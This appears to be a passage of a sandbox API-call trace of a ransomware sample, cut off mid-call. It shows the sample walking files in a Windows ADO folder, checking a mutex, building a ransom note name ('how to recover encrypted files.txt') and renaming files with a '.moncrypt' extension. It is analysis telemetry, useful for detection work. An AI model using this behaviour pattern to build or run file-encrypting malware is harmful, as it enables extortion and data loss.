GlobalHandle (pMem=0x550170) returned 0x440004 [0056.748] GlobalUnlock (hMem=0x440004) returned 0 [0056.748] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.748] GlobalUnlock (hMem=0x44000c) returned 0 [0056.748] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.748] CharLowerBuffW (in: lpsz="adojavas.inc", cchLength=0xc | out: lpsz="adojavas.inc") returned 0xc [0056.748] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.748] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0056.748] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0056.748] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.748] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.748] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.748] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ví\x18", lpUsedDefaultChar=0x0) returned 1 [0056.748] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.748] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="j", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.749] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.749] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.749] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.749] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0056.749] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc", cchWideChar=53, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc", lpUsedDefaultChar=0x0) returned 53 [0056.749] CharLowerBuffW (in: lpsz=".inc", cchLength=0x4 | out: lpsz=".inc") returned 0x4 [0056.749] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inc", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".inc\\adojavas.inc", lpUsedDefaultChar=0x0) returned 4 [0056.749] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\я" (normalized: "c:\\program files\\common files\\system\\ado\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0056.754] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ed70, lpOverlapped=0x0 | out: lpBuffer=0x1e61d18*, lpNumberOfBytesWritten=0x18ed70*=0x1, lpOverlapped=0x0) returned 1 [0056.754] CloseHandle (hObject=0x188) returned 1 [0056.755] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\я" (normalized: "c:\\program files\\common files\\system\\ado\\я")) returned 1 [0056.756] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4c91ed4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4c91ed4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa06f97f7, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3912, dwReserved0=0x0, dwReserved1=0x0, cFileName="adojavas.inc", cAlternateFileName="")) returned 0x54e200 [0056.756] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0056.756] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0056.756] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0056.756] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc", dwFileAttributes=0x20) returned 0 [0056.757] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0056.757] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc.moncrypt" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc.moncrypt")) returned 0 [0056.758] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4085067, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4085067, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa0661283, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3a67, dwReserved0=0x0, dwReserved1=0x0, cFileName="adovbs.inc", cAlternateFileName="")) returned 1 [0056.758] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.758] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.758] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.758] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.758] GlobalUnlock (hMem=0x44000c) returned 0 [0056.758] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.758] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.758] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.758] GlobalUnlock (hMem=0x44000c) returned 0 [0056.758] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.758] GlobalUnlock (hMem=0x440004) returned 0 [0056.758] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.758] CharLowerBuffW (in: lpsz="adovbs.inc", cchLength=0xa | out: lpsz="adovbs.inc") returned 0xa [0056.758] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.758] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0056.758] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0056.758] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.758] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.758] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.758] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ví\x18", lpUsedDefaultChar=0x0) returned 1 [0056.758] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.759] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.759] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.759] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0056.759] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc", cchWideChar=51, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc", lpUsedDefaultChar=0x0) returned 51 [0056.759] CharLowerBuffW (in: lpsz=".inc", cchLength=0x4 | out: lpsz=".inc") returned 0x4 [0056.759] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inc", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".inc\\adovbs.inc", lpUsedDefaultChar=0x0) returned 4 [0056.759] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4085067, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4085067, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa0661283, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3a67, dwReserved0=0x0, dwReserved1=0x0, cFileName="adovbs.inc", cAlternateFileName="")) returned 0x54e200 [0056.759] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0056.759] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0056.759] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0056.759] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc", dwFileAttributes=0x20) returned 0 [0056.760] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc.moncrypt" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc.moncrypt")) returned 0 [0056.760] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0056.760] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6129cc5, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x6129cc5, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x80fe7780, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0056.760] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.760] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.760] GlobalLock (hMem=0x440004) returned 0x550170 [0056.760] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.760] GlobalUnlock (hMem=0x440004) returned 0 [0056.760] GlobalLock (hMem=0x440004) returned 0x550170 [0056.760] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.760] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.760] GlobalUnlock (hMem=0x440004) returned 0 [0056.760] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.760] GlobalUnlock (hMem=0x44000c) returned 0 [0056.760] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.761] CharLowerBuffW (in: lpsz="msader15.dll", cchLength=0xc | out: lpsz="msader15.dll") returned 0xc [0056.761] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.761] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.761] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.761] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.761] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.761] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.761] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.761] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.761] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.761] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.761] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.761] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.761] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0056.761] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dll\\msader15.dll", lpUsedDefaultChar=0x0) returned 4 [0056.761] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.761] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.761] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.761] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.761] GlobalUnlock (hMem=0x44000c) returned 0 [0056.761] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.761] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.761] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.761] GlobalUnlock (hMem=0x44000c) returned 0 [0056.761] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.761] GlobalUnlock (hMem=0x440004) returned 0 [0056.762] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.762] CharLowerBuffW (in: lpsz="msado15.dll", cchLength=0xb | out: lpsz="msado15.dll") returned 0xb [0056.762] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.762] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.762] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.762] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.762] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.762] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.762] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.762] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.762] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.762] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.762] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.762] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0056.762] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dll\\msado15.dlle", lpUsedDefaultChar=0x0) returned 4 [0056.762] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.762] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.762] GlobalLock (hMem=0x440004) returned 0x550170 [0056.762] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.762] GlobalUnlock (hMem=0x440004) returned 0 [0056.762] GlobalLock (hMem=0x440004) returned 0x550170 [0056.762] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.762] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.762] GlobalUnlock (hMem=0x440004) returned 0 [0056.762] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.762] GlobalUnlock (hMem=0x44000c) returned 0 [0056.762] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.762] CharLowerBuffW (in: lpsz="msado20.tlb", cchLength=0xb | out: lpsz="msado20.tlb") returned 0xb [0056.762] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.762] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.763] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.763] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, 